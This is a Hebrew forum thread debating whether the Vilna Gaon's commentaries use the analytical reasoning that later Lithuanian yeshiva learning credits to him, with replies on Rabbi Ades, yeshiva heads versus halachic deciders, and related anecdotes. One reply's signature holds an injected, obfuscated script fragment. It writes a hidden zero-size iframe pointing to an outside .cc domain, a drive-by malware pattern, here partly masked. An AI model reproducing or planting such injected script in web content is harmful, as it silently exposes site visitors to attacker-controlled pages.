בית פורומים עצור כאן חושבים

האם יש הגיון עיוני אצל הגר"א מווילנא?

שלום אורח. באפשרותך להתחבר או להירשם
הצג 15 הודעות בעמוד הוסף לדף האישי  דווח למנהל שלח לחבר
נשלח ב-11/7/2005 17:34 לינק ישיר 
האם יש הגיון עיוני אצל הגר"א מווילנא?

לאחרונה עסקתי הרבה בביאורי הגר"א. וכל פעם שאני לומד בביאוריו עולה לי השאלה, כיצד מיוחס העולם הלימוד הליטאי של מאה שנה אחרונה של בריסק, ר' שמעון, החזון איש, שכל אחד ודרכו והדגשתו בהגיון ולומדוס, להגר"א מווילנא שאליו מתייחסים. עדיין לא פגשתי ולו טיפת הגיון ישיבתי או הסברתי מכל סוג שהוא בספריו.

ביאריו הם אם אכן מקוריים אבל מקוריותו לא קשורה כלל ועיקר בלומדות, אלא בשימוש בדימוי מדעי במקורות לפענח סתומות וכן בעוז רוח לבטל דברי הראשונים ללא חת.

אם אגדיר את דרך לימודו בקצרה אומר כך:

א)דרך בקיאותו הרבה הוא מפענח סתומות דרך הצלבת מקורות. כלומר הוא יביא תוספתא עלומה או מקור בטהרות להבהיר משמעות מסויימת של הלכה מסויימת ובכך הוא רוצה לחרוג מהעיון המקומי הדוגר ומדשדש בצורת מהרש"א בהבנת ה"פשט" וה"כלומר". ודבר זה הפתיעה בשעתו את עולם התלמודי שלא היו רגילים למעוף כזה. בכך יש אספקט מדעי לברר משמעיות דרך חשיפת מקורות הנכונים. (אך אין זה מדעי, שכן הכל פיענוח מבפנים ובלי מקורות חוץ, אך בכל זאת רואים שהי' מעניין בתרגום קדמוניות בגלל סיבה זו, ויתכן שהי' משתמש בזה. אך בינתיים לא עשה שימוש בשום ספרות חוץ)

ב)הוא מחליט איזו גירסא נכונה ומתקבלת על הדעת, ולפי זה משווה הגירסאות ומאחד אותן וכך מבטל בהינף מחיקה את כל הדיון על סתירות מדומות (גם כאן זה לכאורה מדעי לחקור הגירסא הנכונה, אך גם כאן אין זה מדעי כלל, שכן לא הי' כאן שימוש בכתבי יד, ורק מסברא בעלמא, והרי באמת זה היפוך ממדעיות ממש, שכן יצירת גירסאות משבשת יותר הטכסט, ובאמת המשיך בכך את דרכו של אשכנז הקדומה עד רש"י, שלא הקפידו על טוהר הטכסט ואכמ"ל).

ג)הכרעה לפי כללים קדומים בהלכה של התלמוד. כגון רוב לעומת מיעוט, הלכה כרבי עקיבה מחביריו. כל סטיה שהתפתחה מכלל זה פסל ודחה בתכלית. (ראה לדוגמא הדיון על איסור חדש) אך זה דוקא בכללים המבוארים בגמרא עצמו.

ד)קבלת ההלכה התלמודית כמכריעה, וכל מה שסטה מכלל זה נמחקה.

ה)רעיונות והארות היסטוריות וריאליות. כגון לדוגמא הסיבה שהטור פוסק בציצית שלא צריכים לברך שהחיינו ואילו בתפלין אינו מביא כך היא שכן באמת סובר שמעיקר הדין (כשיטת הרמב"ם) בכל מצוה חדשה צריכים לברך שהחינו, אך זאת רק בשעת עשיית המצוה, ולכן בתפלין נהגו מאז ומקדם שהסופר עושה התפלין ולכן אין מקום לכל אדם לברך הברכה, ואילו בציצית הרי כל אחד קושר לו ציציותיו. יש כאן הבחנה בריאליה שבין תפלין וציצית, אך כאן מצד אחד ממדובר בעיסוק מעין מדעי, אך כמובן אין כאן מחקר מדעי אמיתי מקורותיו הם מאמרי חז"ל ודיוקים ברש"י. (ראה ריש סימן כב או"ח)

ו)הפרכת דברי ראשונים בתוקף מהלכה למעשה כשרואה שדבריהם דחוקים וסותרים את המקורות הגלויים התלמודיים. (ראה שם סימן כב). ובדרך כלל לא קיבל יישובי התוספות למנהגים הסותרים את התלמוד.

מכל הנ"ל מצאתי בקיאות רבה ומפליאה, הברקות מעין מדעיות. אך שימוש בסברא ובהגיון לא זכיתי לראות. וממילא מובן שכל עולם הישיבתי והחשיבה הליטאית העיונית המתייחסים להגר"א הרי תמוה בעיני במה ואיך. ודומה שרק מעטים בעולם זה הלכו בדרכיו. (הרד"ל מביחוב ובימינו בצורה מדעית אמיתית הגרש"ל)

ומעניין כאשר החפץ חיים אימץ לעצמו פסקי הגר"א והי' הראשון שהזרים פסקיו למחזור הדם ההלכתי הקבוע (כהמאמר מרדכי והנהר שלום הספרדי ביחד עם הפמ"ג) , הרי במדה רבה, בעצם הענין שהתשמש אתו כפוסק בין פוסקים, מיתן אותו ועקר את העקץ העיקרי של כל הגישה היחדאית של הגר"א שהוא אינו פוסק בין הפוסקים. בעצם שימוז כזה הוא כבר לא הגר"א.

מה כן קיבל עולם הליטאי? נראה שהרוח הכללית בלבד של בריחה מן הפלפול ואי התרגשות ממנהג שמבטל ההלכה שהי' כלל יסודי בפסיקה האשכנזית מימות עולם שהגיע לשיאו את הרמ"א. (ואולי גם השימוש בהלכה טכסטואלית לעומת הלכה של מסורה).

ויש עוד להאריך הרבה בזה, אך כעת אבקש החברים האם הם יכולים להביא לתוך הדיון דוגמא של סברא גר"אית, או שהם מודים שיצור כזה אינו קיים, וכל הסברות בהגר"א שפורחת היום הם מהרהורי לב הלומדים המפענחים כתב החידה של הגר,א לפי האופנה העכשווית.

תוקן על ידי - אתנחתא - 11/07/2005 17:44:07



דווח על תוכן פוגעני

מנותק
נשלח ב-12/6/2012 21:30 לינק ישיר 

פלגינן חביבותיה



דדווח על תוכן פוגעני

מנותק
נשלח ב-12/6/2012 14:17 לינק ישיר 

מיימוני כתב:
נראה לי שראוי היה להקדיש אשכול לר' עדס ושיטתו. ספק גדול בעיני אם הקונטרס של עדס משקף את הגר"א או את פרשנותו האישית של עדס. (גילוי נאות: איני מחבבו. ובעצם, האם יש מקובלים שאני כן מחבב ומעריך? מסתבר שלא).

_________________

שומר פיו ולשונו - שומר מצרות נפשו ******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");



הגר"א?



דדווח על תוכן פוגעני

מחובר
נשלח ב-17/10/2011 07:03 לינק ישיר 


מיימוני, תמיהני אם עיינת בדברים שבקישור. קונטרסו של הרב עדס בא בסך הכל לסדר את דברי תלמידו הגדול של הגר"א, הגר"ח מוואלוז'ין לפי נושאים, למען ירוץ בו הקורא. הגר"ח הוא כמעט העד היחיד על אישיותו של הגר"א, עד כמה שבכלל ניתן לגבש לגביה תמונה לאנשים כערכנו. (וע"ע במובא מרבך הג"ן בדף הראשון של האשכול)

תוקן על ידי ספרן ב- 17/10/2011 07:17:03




דדווח על תוכן פוגעני

מנותק
נשלח ב-17/10/2011 02:11 לינק ישיר 

נראה לי שראוי היה להקדיש אשכול לר' עדס ושיטתו. ספק גדול בעיני אם הקונטרס של עדס משקף את הגר"א או את פרשנותו האישית של עדס. (גילוי נאות: איני מחבבו. ובעצם, האם יש מקובלים שאני כן מחבב ומעריך? מסתבר שלא).

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
נשלח ב-16/10/2011 23:11 לינק ישיר 


http://www.kikarhashabat.co.il/%D7%A8%D7%91%D7%99-%D7%99%D7%A2%D7%A7%D7%91-%D7%A2%D7%93%D7%A1-%D7%9E%D7%92%D7%9C%D7%94-%D7%A1%D7%95%D7%93%D7%95%D7%AA-%D7%94%D7%92%D7%90%D7%95%D7%9F.html



דדווח על תוכן פוגעני

מנותק
נשלח ב-8/4/2010 08:26 לינק ישיר 

המסתפק
הראשון שחידש את השיטה התירא לפסוק על פיה, ומכאן אנחנו משמרים את מסורתו.
כמדומה לי שתופעה דומה היתה גם בפלפול של המאה החמש עשרה ואיני זוכר כעת יותר.



דדווח על תוכן פוגעני

מחובר
נשלח ב-7/4/2010 23:58 לינק ישיר 

זה נשמע כמו התחמקות. שיטת לימוד שכבר קיימת מאה שנה כבר אינה נקרית חדשן במחשבה .גם המיושן והשמרני ביותר לומד כך היום. מלבד זאת לחנך דורות ותלמידים כיצד ללמוד ובעצם לשנות את הגישה לתלמוד זה כן אולם לפסוק למעשה לא ?



דדווח על תוכן פוגעני

מחובר
נשלח ב-7/4/2010 09:10 לינק ישיר 

המסתפק
אולי חדשן במחשבה מתירא לחדש במעשה.



דדווח על תוכן פוגעני

מחובר
נשלח ב-7/4/2010 00:16 לינק ישיר 

בנוגע להבחנה שנעשתה בעבר בין הלימוד הפלפולי לבין המעשה ,הוא היה בשוליים כאשר המפרש בעצמו היה יכול לכתוב כתבתי זאת רק למטרת פלפול התלמידים.אולם לא היו קיימים שני סוגי רבנים שונים, כמו שקיימים היום.

שאלתי לא התעסקה בשיטת הלימוד האם היא נכונה או לא שזה נוכל להשאיר לזמן אחר. אני התעסקתי ברבנים בעצמם ,האם גם הם בתוך תוכם מפקפקים בכל מה שהם עושים. כלומר האלה שכביכול מאמינים בדרך הלימוד , כאשר מגיעים לרגע האמת נסוגים ומשאירים את ההלכה לטכנוקרטים יותר.ולכאורה עד כמה שהם מאמינים שההסבר שלהם נכון מדוע גם אינם פוסקים כך את ההלכה.האם זה סוג של טמינת הראש בחול.


בתור מסתכל מהצד מעניין גם לדעת מדוע התפתח שיטת לימוד שכזו.האם זאת התפתחות טבעית של הדברים שבכל דור מנסים להוסיף ולחדש. או שיש השפעה של שיטת חשיבה שמקובלת בעולם, על עולם הישיבות. שכיום אדם שמנסה לחשוב על סוגיה, הוא מנסה להתמודד עם המחשבה המקובלת בעולם על הדברים, וכיצד הוא יוכל להסביר את זה לאדם שמבחוץ.





דדווח על תוכן פוגעני

מחובר
נשלח ב-6/4/2010 08:46 לינק ישיר 

המסתפק
כמדומני שגם בתקופות קדומות יותר הבחינו בין לימוד פלפול לבין לימוד הלכה למעשה.

אני מבין ששאלתך על ראשי הישיבות היא בעצם שאלה על שיטת הלימוד.



דדווח על תוכן פוגעני

מחובר
נשלח ב-6/4/2010 00:55 לינק ישיר 

כיום מקובל שיש חלוקה ברורה בין ראש ישיבה ומפרש סוגיות, לבין פוסק.לדוגמא,  גדולי ראשי הישיבות בדור הקודם היו ר' שמואל רוזובסקי ור' נחום ,אולם בפסק לא נשמע מהם מילה.מעטים מאוד התקבלו גם כמפרשים וגם כפוסקים (דוגמא חשובה החזו"א).גם לפני מאה שנה מפרשי הסוגיא החשובים היו ר' חיים, ר' שמעון שקאפ , ר' ברוך בער.ואילו הפוסקים החשובים היו החפץ חיים ר' חיים עוזר ור' יצחק אלחנן ספקטור.יש גם סיפור ידוע (למרות שלא ברור האם הסיפור אמיתי) ובו ר' חיים שואל שאלה בהלכה את ר' יצחק אלחנן ספקטור, ומבקש שלא יכתוב לו הנימוקים לתשובה.אולם בתקופת הראשונים אין הבדלים כאלה מי שמסביר את הגמרא הוא גם זה שפוסק הלכות לפי ביאור הסוגיא שלו.גם אצל האחרונים שעד לפני מאתיים שנה אין הבדלים כאלה ,המהרש"ל רעק"א ועוד.השאילה היא מדוע זה שונה היום ,האם גם ראשי הישיבה לא ממש מאמינים בהסברים המתוחכמים המקובלים היום, וכאשר מגיעים לפסק הם שותקים?



דדווח על תוכן פוגעני

מחובר
נשלח ב-5/4/2010 22:24 לינק ישיר 

אשריהם ישראל !



דדווח על תוכן פוגעני

מחובר
נשלח ב-5/4/2010 22:02 לינק ישיר 

"הגאון מוילנא זת"ע הידר לעשות הבדלה על בירה כדי להראות שזה שנזהרנו מחמץ עד עכשיו זה רק בגלל צווי בורא עולם ולא מחמת הנאתנו,"

ציטוט מאתר שכן.

האם מסיבה זאת רצים עכשו  למאפיות ?

תוקן על ידי צענערענע ב- 05/04/2010 22:04:28




דדווח על תוכן פוגעני

מחובר
נשלח ב-19/7/2005 12:13 לינק ישיר 

מצורף קובץ

בדמות שכאן אין לא הגיון ולא עיון, אבל יתכן שזה מעניין לראות מה דמות הגר"א בפסל חדש שהוצב זה עתה ליד הבית שנחשב כביתו (או בית על המקום של) הגר"א בוילנא



דדווח על תוכן פוגעני

מחובר
נשלח ב-19/7/2005 12:01 לינק ישיר 

מיכי

למה ללכת רחוק ? בתורת אבות (!) מובא על אחד מאדמורי בית לכוביטש שהחסידם התרעמו שאינו הולך בדרכי אביו . אמר האדמור, אני כן הולך בדרכי אבי , מה הוא שינה מדרכי אביו , כך גם אני.



דדווח על תוכן פוגעני

מנותק
   
בית > פורומים > דת ואמונה > עצור כאן חושבים > האם יש הגיון עיוני אצל הגר"א מווילנא?
מנהל לחץ כאן לנעילת האשכול
הוסף לעמוד האישי  דווח למנהל שלח לחבר
1 2 3 4 לדף הבא סך הכל 4 דפים.

bholext